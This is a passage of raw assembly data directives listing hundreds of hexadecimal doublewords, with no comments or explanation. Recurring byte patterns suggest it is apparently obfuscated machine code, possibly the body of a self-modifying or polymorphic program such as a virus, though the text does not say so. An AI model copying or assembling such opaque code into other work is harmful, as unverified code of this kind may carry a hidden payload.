47429E17h, 6C3EF27Bh, 0AC983703h dd 0BC35E67Ch, 8B669CA1h, 34895FFEh, 52006A24h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 141FCE6Ch dd 0BD8B1980h, 6031719h, 0A703B5FFh, 6A0606h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 33DE11C3h dd 0EAB8A9DFh, 8D0FF820h, 0 dd 244995FFh, 7E80603h, 3D000000h, 0E0FB8783h, 0BD8B865Dh dd 6030055h, 0F7B58B5Fh, 8B0606A6h, 325AD9Dh, 31858B06h dd 6A060331h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1C042444h, 41000000h, 65AEC351h, 95C81447h, 0F809F83h dd 68Fh, 598D8900h, 0E906032Dh, 14h, 88B0626Ch, 97B262A6h dd 0F561AEAAh, 60A4C797h, 0B313FE9Dh, 0C48689h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 1D00A1C3h, 5163F38Dh, 9D8B6F1Ah, 6032655h, 958BD88Bh dd 60320A5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 29C35343h, 6A04C283h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 2B64C353h, 307C5BDh dd 20508906h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 15C35242h, 2DBD9589h, 858D0603h, 606BB16h, 0DE9h dd 0E9EB2800h, 901ED3D5h, 70F916D9h, 86898E5Eh, 0B8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E9C35747h, 58CB8101h dd 6A068194h, 0FABF0F00h, 0A703B5FFh, 0BB660606h, 95FF6A40h dd 6030CFDh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 4BC35040h, 0BD297C2Dh, 603096Dh, 319D2353h, 5B060316h dd 50FEBF0Fh, 13E9h, 8FE16600h, 628176B4h, 0A867EEF3h dd 767663E2h, 9EB158E3h, 2B243489h, 32AA99Dh, 3B5FF06h dd 6A0606A7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 2122C352h, 66208DF8h, 95FFDA8Bh dd 6032E7Dh, 191D9D8Bh, 0BD830603h, 60326C9h, 25840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 96C6C357h, 0B5319650h, 6030AB9h dd 0A703B5FFh, 0BB660606h, 95FFFC36h, 60314B9h, 0FFD8BF0Fh dd 6A703B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 95FF3637h, 6030C95h, 89F9B70Fh, 32211BDh dd 4DBD8306h, 206032Dh, 5A840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 72FE9AC3h dd 6C26F834h, 499D898Bh, 8B06032Ch, 323ED85h, 67BF6606h dd 0C60Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0C35343h, 0B529EABAh, 60312F5h, 308185C7h, 603h dd 29600000h, 31C859Dh, 0E961FC06h, 0FFFFF4E6h, 1DA99529h dd 0C18B0603h, 8D6DDB80h, 3130985h, 85858906h, 6606032Fh dd 8B50DA8Bh, 240489D9h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0BC35646h, 49EA5320h, 9D89A9B0h, 6031D61h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 1C0C36C3h, 0AA85FF6Bh, 6AE39AF4h, 758D2900h dd 8D060300h, 7E60085h, 83DD8A06h, 8B6005C0h, 3219195h dd 95958B06h, 6106030Dh, 0D98B5090h, 5250505Fh, 5252BF66h dd 0BF53310Fh, 5D0276C2h, 90585A5Bh, 0DB5BD89h, 6A0603h dd 1A11BD8Bh, 6A0603h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0ACC35646h, 2063F439h, 5EF6ED3Bh, 6830F74h dd 8B000000h, 314BDBDh, 0F995FF06h, 2B06031Dh, 32D219Dh dd 338D8D06h, 6A060699h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0B130C352h, 2ECB2266h dd 28A0Fh, 0FBB30000h, 9D8BD1FFh, 60317D9h, 1D89BD83h dd 0F010603h, 0A885h, 0BDBD8B00h, 0E9060332h, 11h, 0EC1B4CEAh dd 1747AEF8h, 2CE024D8h, 0F4B37755h, 6A026A2Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0EF51C355h, 0FD48F01h, 0E8Ah, 0C2816000h, 550E6520h dd 0BA1B58Bh, 90610603h, 0E23ABB66h, 90DE8A50h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0B2C35747h, 190EC400h dd 521C8521h, 14E8E7h, 0D9F40000h, 9FFBB422h, 256E1F88h dd 0C6F7EBFEh, 6A9772F3h, 0A2B70736h, 0FD95FF5Bh, 3306030Ch dd 330899Dh, 0E6EE906h, 0E80000h, 5D000000h, 0E60AED81h dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 12C25DC3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 9BC35747h, 9E4E8A33h, 0DD83733Bh, 0CE988h dd 0B3D00000h, 0DB1E4C7Fh, 9582EFBCh, 858D4E95h, 6069100h dd 4758D89h, 0BE90603h, 0A4000000h, 8644B2B1h, 0A1101F6Ah dd 6050ACA8h, 2870Fh, 0C38A0000h, 13E8h, 3429E200h, 1CB1A629h dd 0D8E0D0DEh, 0D5383C77h, 389BC21Ch, 310F5250h, 6158585Ah dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 7B83C357h, 0DB8B2CCEh, 26B6BB66h dd 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0D2EFC350h, 16F03F36h dd 8BA18952h, 32379BDh, 25896406h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h dd 22A29EF7h, 6D55822Fh, 11E8h, 0FCBE1500h, 0C50234Bh dd 18A97FF6h, 0DDF9AD2Ch, 8B53CEF6h, 317E19Dh, 895B5B06h dd 32CF58Dh, 0EB816606h, 85FF1AD9h, 6031D01h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8EC35040h, 0FB8B1F5Bh dd 2D99BD8Bh, 0FF6A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 1BC35545h, 6E87604h, 34000000h, 0FFCB5971h dd 59D3325h, 5F06032Dh, 18AD8D01h, 0BE90603h, 0B2000000h dd 16280DD3h, 0BB38723Ah, 0B5FF9DCAh, 6032391h, 44DC7BBh dd 4D95FF4Ah, 0E906031Bh, 104h, 68C0Fh, 95890000h, 60316ADh dd 70E600B0h, 0E4DF8B66h, 5E971h, 92E30000h, 80C9773Bh dd 613C7FD7h, 0DA830Fh, 5B520000h, 0B3C8B60Fh, 83F7818Dh dd 0BA08D87Fh, 6, 5E8h, 0B438B500h, 5FF8F6F9h, 8BD9B70Fh dd 0C820FC1h, 0F000000h, 680h, 0D5BD0100h, 0C1060304h dd 0BD8B04E8h, 603243Dh, 58D0Fh, 73BF0000h, 667E53FFh dd 9D8BE2F7h, 60320D5h, 5F52C82Bh, 0BD8BD18Bh, 6032E95h dd 77E9h, 0A19D8B00h, 8B060306h, 4C4C4485h, 0E5BB665Fh dd 7C083FDh, 0D5B52960h, 8B06030Ch, 320B1BDh, 0FBF6106h dd 8362839Bh, 0D03B00C0h, 0D830Fh, 0FB8B0000h, 3FE9h, 0EDBD8900h dd 8B060317h, 0FFFFFF8Dh, 0CDBE60FFh, 61127C52h, 16899D89h dd 0E1830603h, 1D840F01h, 0BB000000h, 5F0BDA68h, 0FFFFA583h dd 8BFEFFFFh, 30C65BDh, 44958906h, 0E95F4C4Ch, 0 dd 64FBB58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 0B372F7C3h, 8BE26B01h, 32E1D9Dh dd 6A006A06h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0FF07C353h, 323A595h, 0EE906h dd 6E980000h, 47977508h, 10480276h, 0A0068810h, 495B589h dd 0D3B90603h, 89000011h, 32E4595h, 0FCE18306h, 10E9h dd 58D10F00h, 3113E4DFh, 37DFE116h, 0DEF79354h, 6AFC59h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 4516BDC3h, 232F8F62h, 32C2DBDh, 0B806h, 0CF800000h dd 0ADD22BE0h, 0E8D1C233h, 0E983D003h, 81F47504h, 93E206C7h dd 0E59D8940h, 0D06030Ch, 88h, 68D0F60h, 81000000h, 2DA80FDAh dd 0F681661Fh, 8B6117D5h, 320A595h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0F3DCDAAEh dd 0D9E38166h, 0E1BD892Fh, 8B060305h, 31A658Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0C28B508Fh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh dd 0C87h, 68A0F00h, 29000000h, 32EB9BDh, 0CDBD8B06h, 6A06032Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0A547C355h, 815F1FFFh, 0C2C1A5E3h, 799D8B58h dd 83060329h, 3210DBDh, 840F0006h, 4Bh, 8BD88B66h, 319199Dh dd 0B806h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0DB47E2C3h, 8D8D5D97h, 6034D69h dd 0BE9h, 0C7080000h, 0A2DD8D0Fh, 669CD81Fh, 0DF8BE1FFh dd 83DF8B66h, 30071BDh, 840F0006h, 4C3h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C1C35242h, 0EF0B0FB5h dd 1F48E5Bh, 32C699Dh, 71BD8306h, 1060300h, 4A8840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0CDB45CC3h, 0C9BD89BDh, 0E906032Dh, 0Ah, 0EFE794D2h dd 0F5B5E47h, 0BD8358D1h, 6030071h, 31860F03h, 6A000004h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8B20C356h, 6A60D8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 0D4FD30C3h, 61626FD3h dd 601BFD21h, 9F88B66h, 3004D95h, 8C666106h, 28C0FD9h dd 0B3000000h, 4E1801Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 90C35747h, 83DBA38Eh, 3D9D8905h, 0A06031Ah dd 0C8840FC9h, 0E9000000h, 0Eh, 0D3CE78BEh, 0DE486089h dd 661A5E24h, 858B1B85h, 60309ADh, 475BD8Bh, 0B5310603h dd 6030AF9h, 1A598533h, 0BB660603h, 66508FC9h, 896E26BFh dd 8B662404h, 6A006AD9h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 398EC355h, 23C802F6h dd 0B589527Fh, 6030A69h, 0A4C9685Bh, 0B35349E3h, 34815B4Ah dd 0FCA73624h, 7195FF49h, 0E806032Eh, 13h, 9A4FB6B5h, 7B68B72Ch dd 0A507AB7Dh, 256367BFh, 890E0D91h, 31C01BDh, 0CB815B06h dd 452B45A4h, 0A7038589h, 9D8B0606h, 60318FDh, 0A810Fh dd 8E0F0000h, 4, 6E5CBF66h, 275E9h, 0A1D38100h, 8B1F8738h dd 6A6FB85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0FB61B8Eh, 680h, 9BD8B00h, 0C706031Ah dd 1800h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 3DDBA52Bh, 0DDAF2CD2h, 0DE94A1Ch dd 0A2000000h, 0BDA876Ch, 0D709D2C8h, 686A2910h, 0A6FFB58Bh dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0B4FC61C3h, 7D067F2Dh, 0FD9D2308h, 66060320h dd 858BDE8Bh, 6031F89h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 44C35747h, 0CBC484BBh, 6A068906h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0C66AC357h, 0A8B807C8h, 8BDA8B66h, 309AD85h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 8896A85Bh, 71FAD9DCh, 0EE9h, 3EE8EB00h, 66915C0Ah, 0B3A9D802h dd 8B7E8C66h, 308919Dh, 4468906h, 698D09h, 89510603h, 319798Dh dd 57965F06h, 5F5F5051h, 10E9505Fh, 22000000h, 7EDAC0EEh dd 888B8BFCh, 0BE41B53Bh, 96DC6D70h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 53C35343h, 78CB80A1h, 6880F52h dd 0F000000h, 8Eh, 0B5FF5F00h, 606A6FBh, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 37C35747h, 0CB9BD300h dd 94FA7AE1h, 0FFBF0F8Fh, 0FD14F068h, 81DA8BA1h, 0EF0F2404h dd 9D8B5E21h, 6030475h, 8DDF8B66h, 6A70385h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 72B1646Fh, 6660F5BDh, 16BFCA81h, 19FD858Bh, 50610603h dd 3DCFBF66h, 9050905Fh, 0B820Fh, 860F0000h, 5, 803292BFh dd 7195FF61h, 6A06032Eh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0D874C355h, 1C80F15Bh dd 5493E39Fh, 68F0Fh, 9D290000h, 6032579h, 0EE8h, 4285A700h dd 4120E95Ch, 0CD99C0C3h, 89A979D0h, 318F195h, 6A615B06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 9BFAC355h, 830FEBB0h, 1, 7185C7F5h, 3060300h dd 89000000h, 32DA185h, 0D5BD8906h, 83060316h, 6A703BDh dd 840F0006h, 24h, 11E9h, 88C62A00h, 0FFB6A56Ch, 17444926h dd 0A2C1DEAFh, 0F381735Bh, 44097CD2h, 1EE9h, 7DEF8000h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0ECDFC357h, 52AEA67Ch, 0C21B589h, 0F5B0603h dd 68Ah, 6D858900h, 89060307h, 3096185h, 71BD8306h, 3060300h dd 424850Fh, 0F7810000h, 17F46BBBh, 0A703BD83h, 0F000606h dd 41184h, 830F6000h, 6, 24019D89h, 8D8B0603h, 6030989h dd 3B5FF61h, 0BF0606A7h, 2CB11EB0h, 2A7595FFh, 6A0603h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 62E9DEC3h, 2949300Bh, 309999Dh, 0F7B58B06h, 6A0606A6h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 6067C353h, 8907D746h, 31C419Dh, 8DBD0B06h dd 0C706032Ch, 1000106h, 7CE78100h, 9657A4C3h, 0DE8B5250h dd 1DBF310Fh, 5A5EBC5Dh, 0E4B35058h, 0BD8BF896h, 6032549h dd 0A703B5FFh, 6A0606h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 0C2A27EC3h, 0D17EC9F1h, 0CFBFEB59h, 0FF094C01h, 3244995h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 0D2AD27E8h, 7E00AC7Ch, 0F7B58BCAh, 8B0606A6h dd 3313185h, 0D9B70F06h, 0C48689h, 958B0000h, 60320A5h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h dd 1A36C789h, 3465DDCEh, 8BD88B45h, 303099Dh, 4C28306h dd 16E5B509h, 85890603h, 6030999h, 6A205089h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 8742C353h, 1F36B40h, 8D688BABh, 6BB1685h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4F4A3BE7h, 0E84ACBEEh, 11h, 0D0AAD96Ch, 1D4DD75Ch, 0F913CC38h dd 43360E4Bh, 8DBB669Eh, 86895BB1h, 0B8h, 0C32BE781h, 6A3E40h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 8DC35343h dd 511AFB11h, 89EB87F3h, 319618Dh, 3B5FF06h, 6A0606A7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0F82C353h, 480h, 4CBB6600h, 0DF81665Eh, 95FFB4A6h dd 6030CFDh, 12E8h, 0ADE6A400h, 2A4BA5DBh, 6CA8614Bh, 0C11C42C5h dd 8B9BB8F0h, 32639BDh, 0BB965B06h, 7C579719h, 96F98B50h dd 0B721A1BFh, 16BF667Bh, 3B5FFBEh, 0FF0606A7h, 32E7D95h dd 0F59D8B06h, 83060320h, 326C9BDh, 840F0006h, 66h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h, 0BF0FD966h dd 55BD23DFh, 0E806031Ch, 8, 9D113772h, 500FF465h, 2F6D8589h dd 505B0603h, 11E85250h, 0A9000000h, 6B8773FFh, 5D48F578h dd 75B0A53Eh, 2CD634Fh, 5BFA8B66h, 88BF310Fh, 5A6F1914h dd 24348958h, 0B5FFDA8Bh, 606A703h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 0C8C35242h, 18119D8Bh, 95FF0603h dd 60314B9h, 0EE8h, 34C0C800h, 2B1928B6h, 18ACB4BDh, 0F4A8ED9h dd 687h, 6D8D8900h, 5B06032Eh, 0A703B5FFh, 6A0606h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 12BB20C3h, 606FCC54h, 759D8960h, 0F060308h, 6661D2B7h dd 0FF61D08Bh, 30C9595h, 0C1BB6606h, 4DBD83C9h, 206032Dh dd 66840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 8DC103C3h, 0D9BD0BFCh, 8B060320h dd 323ED85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0E9919211h, 6, 654F0725h, 8166536Eh dd 0C655F6DBh, 5E90000h, 0B4000000h, 0EDA0C361h, 308185C7h dd 603h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0B24DAAC3h, 1D298589h, 37E90603h dd 0E9FFFFF3h, 12h, 0A84D1880h, 959CFDA8h, 4F1A31CFh, 0E75B76BEh dd 0BD8BC2FCh, 6030301h, 0B589C18Bh, 6032CC1h, 1309858Dh dd 0F500603h, 683h, 0E1BD8900h, 5B060317h, 8E850h, 2CBD0000h dd 0E045FCA0h, 0FE8C007h, 0DE000000h, 0A45AE06h, 77038B1h dd 290673D0h, 5B5FAE70h, 6A240489h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 65F1C353h dd 14E9D0h, 0B5F30000h, 59FF0FE9h, 785D0A19h, 0D7764267h dd 0B4792F7h, 6A5627h, 15BD8B60h, 0E9060313h, 10h, 0FCDCBD43h dd 0D6047B61h, 0DEE026F4h, 3E1EF9CCh, 66006A61h, 0B589FA8Bh dd 6030859h, 0F734858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 5CFA72C3h, 43F9DB61h dd 0B589E08Bh, 60307A9h, 6A05C083h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1675C353h dd 8EBE17CDh, 0FD98B66h, 0E890F9BFh, 12h, 17FD050Bh, 0DCFBA3EEh dd 0E680DBC2h, 75F47B71h, 0BF51ADDBh, 35CACDB3h, 60505F5Fh dd 16880Fh, 11E90000h, 0B9000000h, 231031A5h, 512F247h dd 0D45C5FDEh, 91E4D5F0h, 9061DA8Ah, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 42C35040h, 645213AFh, 4A70C56Ah dd 810F006Ah, 2, 0B70FFA8Bh, 6A006AD9h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 9186C353h dd 90ED8568h, 0BF0FDA7Eh, 0F995FFDFh, 8B06031Dh, 309799Dh dd 338D8D06h, 6A060699h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 5A40C352h, 89E5ACCFh dd 31BD9BDh, 60D1FF06h, 2F55BD31h, 850B0603h, 6031D85h dd 89BD8361h, 106031Dh, 0DB850Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0FE94DC3h dd 0E2000000h, 3364E10Dh, 0AA51537Dh, 0F2FC7718h, 26AF9C9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0FBC35141h dd 6EF82C55h, 6133A8h, 10E9h, 937CE700h, 9C6A85BFh, 2466DB98h dd 0C07CC6A6h, 0DB8166D8h, 0E990D7F8h, 12h, 0BB57C876h dd 6E3B0B0Bh, 32219C49h, 525FB4A6h, 5250A658h, 11E9h, 0C4861600h dd 0C064A044h, 0C464D430h, 10B401F2h, 905B652Ch, 0A0C78166h dd 0FEB70F69h, 0CFD95FFh, 6A0603h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 0DDE07BC3h, 48AC84D7h dd 8B2D50EAh, 319E1BDh, 0D1FE906h, 0E80000h, 5D000000h dd 0F73EED81h, 6A0607h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 2536D8C3h, 21A966F6h, 0B325EFB5h dd 57006AE0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F39FEC10h, 0E8A10075h, 13h, 289608F9h dd 0B8799179h, 0AD82975Ah, 53A3867Fh, 31EA2C7Fh, 313AD95h dd 0D1BB5B06h, 8D55F7EFh, 6910085h, 0C98D8906h, 50060307h dd 66240489h, 309BEB81h, 35FF64h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 8D76C357h, 60BA815Eh, 0F199D01h, 0B5890603h, 60324D1h dd 0FEB70F61h, 258964h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 53F8C353h dd 0FFA7DB80h, 31D0185h, 6ADA8A06h, 53006AFFh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0F5360C5h dd 83h, 8E0F5800h, 1, 0B5FF61F9h, 6030DC1h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B4C35343h, 0A17877h dd 0B480EF81h, 95FF467Dh, 6031B4Dh, 13AE9h, 7E900h, 71460000h dd 2D2B69DBh, 6000B0DCh, 4ED88166h, 13E936h, 0AE2E0000h dd 4BC085DDh, 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 70E66147h dd 0C860Fh, 860F0000h, 6, 8B0Fh, 0BD230000h, 6031B81h dd 0DE971E4h, 7D000000h, 0F86F09DAh dd 3AC106DBh, 0B908C243h, 9E9h, 0F3CFE700h, 5E013A5h, 613C81E4h dd 0C9830Fh, 840F0000h, 6, 2DCD9D23h, 0B60F0603h, 0D8BF0FC8h dd 6BAh, 8D9D2B00h, 8B06031Dh, 2EC781C1h, 0E96CF6A1h, 5 dd 0C79F6096h, 4E8C1FCh, 0FD5FBF66h, 29E2F766h, 316F195h dd 66C82B06h, 8BE4DABBh, 0FE8B66D1h, 7AE9h, 70E78000h dd 8BF9B70Fh, 554C5085h, 919D8B47h, 8306032Ah, 2B6007C0h dd 326D5BDh, 0C0836106h, 3B1BB700h, 15830FD0h, 8A000000h dd 49E9D9h, 0BF660000h, 850F314Dh, 4, 6DD7BF66h, 0FFFF8D8Bh dd 3160FFFFh, 31AA58Dh, 75958906h, 61060304h, 0F01E183h dd 1E84h, 0DBD3300h, 83060317h, 0FFFFFFA5h, 9589FEFFh dd 47554C50h, 30519D33h, 0E90603h, 8D000000h, 776CEB5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 6A0AB4B3h, 6A76CBh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 38C35343h, 860F605Eh, 0 dd 95FF61F8h, 60323A5h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 0ACC35141h, 233DB589h, 0F6B90603h, 6A00000Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 2A00C352h, 5827ED12h, 0E94972E5h, 12h, 0CDFD0BF5h dd 16CA4AECh, 56E6CFB4h, 0AD22A8A7h, 0E1830A9Fh, 51006AFCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0FE83FDAh, 56000000h, 2EF7E3A3h, 0DA3AAEF5h, 26216C0h dd 820F2FFCh, 2, 0FC5F6160h, 0B8F88B66h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0E4C35040h dd 3185748Ch, 8531D22Bh, 6031CF5h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 41C35343h, 6522F0EBh, 0DB8104C3h, 0DAA529Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9AC35242h, 0C219E108h dd 89295776h, 321F9B5h, 880D06h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 1CEC7FC3h dd 3144034Bh, 0A5958BE1h, 6A060320h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 4CE7C353h dd 74AA05E6h, 1905BD8Bh, 0EB810603h, 3041FC17h, 1A658D8Bh dd 0B5290603h, 6032329h, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 6A5818h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 1D6C40C3h, 0D10567C1h, 2E09BD01h dd 8A0F0603h, 5, 0E79B53BFh, 50006A0Bh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 0DF8166FCh dd 1BBBDD8h, 8345431Dh, 3210DBDh, 840F0006h, 41h, 9E9h dd 62817600h, 0A867EEF3h, 0B70F63E2h, 0B8DFh, 850F0000h dd 17h, 12E9h, 81BDA600h, 23F73E9Fh, 2AA7B85Ch, 0D9B8CE4Fh dd 8D3A6DEEh, 34D698Dh, 89E1FF06h, 307198Dh, 71BD8306h dd 60300h, 32B840Fh, 9D8B0000h, 6032459h, 71BD83h, 0F010603h dd 33384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 0F808933h, 28Fh, 83DF8B00h, 30071BDh dd 860F0306h, 2CAh, 60FBB70Fh, 31358D89h, 8C660603h, 55006AD9h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 4E180AAh, 0E3D933BBh, 0FC90A5Eh, 0E584h, 319D8B00h dd 8B06032Dh, 309AD85h, 0DFB70F06h, 1A598533h, 0D88B0603h dd 955B589h, 0E9900603h, 0Dh, 0BEC81737h, 562E4639h, 0D9F26C1Fh dd 6A905000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 4AD5C350h, 66A228D9h, 6A2D5DBFh dd 0E0CEBF00h, 0A3686482h, 5624E4C6h, 9E8h, 69383000h dd 12EB5B3Ah, 5F5FE4E4h, 5C243481h, 3124FBC5h, 32CC585h dd 0F9BD8B06h, 0FF06032Bh, 32E7195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F9076FDEh dd 0A69B40D7h, 85890E43h, 606A703h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 78C35545h, 908F9DA3h, 0E9082E20h dd 166h, 1B5DBD8Bh, 858B0603h, 606A6FBh, 1A05B589h, 0C70603h dd 18h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 68C35242h, 8B07EF80h, 6A6FFB5h, 89858B06h, 8B06031Fh dd 8B0689F9h, 31B299Dh, 5E96006h, 79000000h, 0D19842A9h dd 58B0Fh, 81660000h, 610B1AF6h, 